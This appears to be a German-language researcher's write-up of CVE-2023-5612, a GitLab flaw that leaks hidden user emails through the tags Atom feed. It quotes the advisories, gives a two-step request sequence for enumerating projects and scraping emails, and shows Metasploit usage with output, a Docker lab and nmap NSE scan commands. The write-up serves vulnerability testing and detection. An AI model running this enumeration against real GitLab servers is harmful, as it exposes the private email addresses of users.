Disclosure of the public email in Tags RSS Feed

https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/

An issue has been discovered in GitLab affecting all versions before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1. It was possible to read the user email address via tags feed although the visibility in the user profile has been disabled. This is a medium severity issue (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N, 5.3). It is now mitigated in the latest release and is assigned CVE-2023-5612.

https://nvd.nist.gov/vuln/detail/CVE-2023-5612

An issue has been discovered in GitLab affecting all versions before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1. It was possible to read the user email address via tags feed although the visibility in the user profile has been disabled.

Beschreibung

In GitLab wurde eine Sicherheitslücke entdeckt, die es ermöglicht, eine Liste der Benutzer-E-Mail-Adressen (und Namen) zu erhalten, selbst wenn einige Benutzer ein verstecktes Profil haben. Dies liegt daran, dass der Endpunkt /api/v4/projects ohne Authentifizierung zugänglich ist. Für jedes Projekt kann die web_url abgerufen und eine Anfrage an den Endpunkt /-/tags?format=atom gesendet werden, die als Antwort eine XML-Datei liefert, in der unter anderem der Name und die E-Mail des Benutzers sichtbar sind:

...
    <name>test</name>
    <email>[email protected]</email>
...

NSE Dev

PoC:

• https://hackerone.com/reports/2208790
• https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/gather/gitlab_tags_rss_feed_email_disclosure.rb
• https://sploitus.com/?query=CVE-2023-5612#exploits

Hinweis: Es gibt ein nse-Skript angeblich für diese Schwachstelle, aber wenn man auf den Namen und den Inhalt achtet, wird klar, dass es sich um einen Fehler handelt und es nichts mit dieser CVE zu tun hat.

Algorithmus:

1. Namen aller verfügbaren Projekte abrufen:

GET /api/v4/projects?output_mode=json HTTP/1.1

Beispielantwort:

[{"id":3,"description":null,"name":"project3","name_with_namespace":"test / project3","path":"project3","path_with_namespace":"test/project3","created_at":"2025-09-13T16:39:05.885Z","default_branch":"main","tag_list":[],"topics":[],"ssh_url_to_repo":"ssh://git@localhost:2424/test/project3.git","http_url_to_repo":"http://localhost:8929/test/project3.git","web_url":"http://localhost:8929/test/project3","readme_url":"http://localhost:8929/test/project3/-/blob/main/README.md","forks_count":0,"avatar_url":null,"star_count":0,"last_activity_at":"2025-09-13T16:39:05.885Z","namespace":{"id":4,"name":"test","path":"test","kind":"user","full_path":"test","parent_id":null,"avatar_url":"https://www.gravatar.com/avatar/b642b4217b34b1e8d3bd915fc65c4452?s=80\u0026d=identicon","web_url":"http://localhost:8929/test"}},{"id":2,"description":null,"name":"project2","name_with_namespace":"testgroup / project2","path":"project2","path_with_namespace":"testgroup/project2","created_at":"2025-09-13T16:35:26.979Z","default_branch":"main","tag_list":[],"topics":[],"ssh_url_to_repo":"ssh://git@localhost:2424/testgroup/project2.git","http_url_to_repo":"http://localhost:8929/testgroup/project2.git","web_url":"http://localhost:8929/testgroup/project2","readme_url":"http://localhost:8929/testgroup/project2/-/blob/main/README.md","forks_count":0,"avatar_url":null,"star_count":0,"last_activity_at":"2025-09-13T16:35:26.979Z","namespace":{"id":3,"name":"testgroup","path":"testgroup","kind":"group","full_path":"testgroup","parent_id":null,"avatar_url":null,"web_url":"http://localhost:8929/groups/testgroup"}},{"id":1,"description":null,"name":"test","name_with_namespace":"Administrator / test","path":"test","path_with_namespace":"root/test","created_at":"2025-09-12T15:03:47.319Z","default_branch":"main","tag_list":[],"topics":[],"ssh_url_to_repo":"ssh://git@localhost:2424/root/test.git","http_url_to_repo":"http://localhost:8929/root/test.git","web_url":"http://localhost:8929/root/test","readme_url":"http://localhost:8929/root/test/-/blob/main/README.md","forks_count":0,"avatar_url":null,"star_count":0,"last_activity_at":"2025-09-13T16:19:10.901Z","namespace":{"id":1,"name":"Administrator","path":"root","kind":"user","full_path":"root","parent_id":null,"avatar_url":"https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80\u0026d=identicon","web_url":"http://localhost:8929/root"}}]

2. Für jedes die Tags im atom-xml-Format abrufen:

GET /test/project3/-/tags?format=atom HTTP/1.1
GET /root/test/-/tags?format=atom HTTP/1.1

Beispielantwort:

<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
<title>project3 tags</title>
<link href="http://127.0.0.1:8929/test/project3/-/tags?format=atom" rel="self" type="application/atom+xml"/>
<link href="http://127.0.0.1:8929/test/project3/-/tags" rel="alternate" type="text/html"/>
<id>http://127.0.0.1:8929/test/project3/-/tags</id>
<entry>
  <id>http://127.0.0.1:8929/test/project3/-/tags/1.0.0</id>
  <link href="http://127.0.0.1:8929/test/project3/-/tags/1.0.0"/>
  <title>1.0.0</title>
  <summary></summary>
  <content type="html"></content>
  <media:thumbnail width="40" height="40" url="https://www.gravatar.com/avatar/b642b4217b34b1e8d3bd915fc65c4452?s=80&amp;d=identicon"/>
  <author>
    <name>test</name>
    <email>[email protected]</email>
  </author>
</entry>
</feed>

In dieser Datei sehen wir die Felder name und email aller Tag-Ersteller in diesem Projekt. Ihre Offenlegung gegenüber dem Angreifer ist der Kern der Sicherheitslücke.

Beispiel einer erfolgreichen Ausnutzung:

# Metasploit
use auxiliary/gather/gitlab_tags_rss_feed_email_disclosure
set RHOSTS 127.0.0.1
set RPORT 8929
run

Ergebnis:

auxiliary(gather/gitlab_tags_rss_feed_email_disclosure) > run
[*] Running module against 127.0.0.1
[+] Scraping ALL projects...
[+] name: test
[+] e-mail: [email protected]
[+] name: Administrator
[+] e-mail: [email protected]
[*] Auxiliary module execution completed

NSE Test

Die Überprüfung wurde auf GitLab CE 16.5.10 durchgeführt.

docker-compose.yml

services:
  gitlab:
    image: gitlab/gitlab-ce:16.5.10-ce.0
    container_name: gitlab-ce
    restart: always
    hostname: 'gitlab.example.com'
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'http://localhost:8929'
        gitlab_rails['gitlab_shell_ssh_port'] = 2424
    ports:
      - '8929:8929'
      - '443:443'
      - '2424:22'
    volumes:
      - '$GITLAB_HOME/config:/etc/gitlab'
      - '$GITLAB_HOME/logs:/var/log/gitlab'
      - '$GITLAB_HOME/data:/var/opt/gitlab'
    shm_size: '256m'

Starten und Testumgebung vorbereiten

1. Verwundbaren gitlab-ce in Docker hochfahren:

sudo docker compose up
sudo docker exec -it {CONTAINER_ID} grep 'Password:' /etc/gitlab/initial_root_password
# Do not decode the showed base64 value, just use it as is
# Change root's creds to smth like root:toortoor

2. Vorbereiten:

• als root einloggen
• ein Projekt erstellen
• einen Tag für das Projekt als root erstellen
• Benutzer test erstellen, als test einloggen
• ein Projekt als test erstellen
• einen Tag für das Projekt als test erstellen

2. Skript ausführen:

# full scan
nmap --script cve-2023-5612 <TARGET> -p <PORT>
nmap --script cve-2023-5612 <TARGET> -p <PORT> --script-args check_mode=full
# fast scan
nmap --script cve-2023-5612 <TARGET> -p <PORT> --script-args check_mode=fast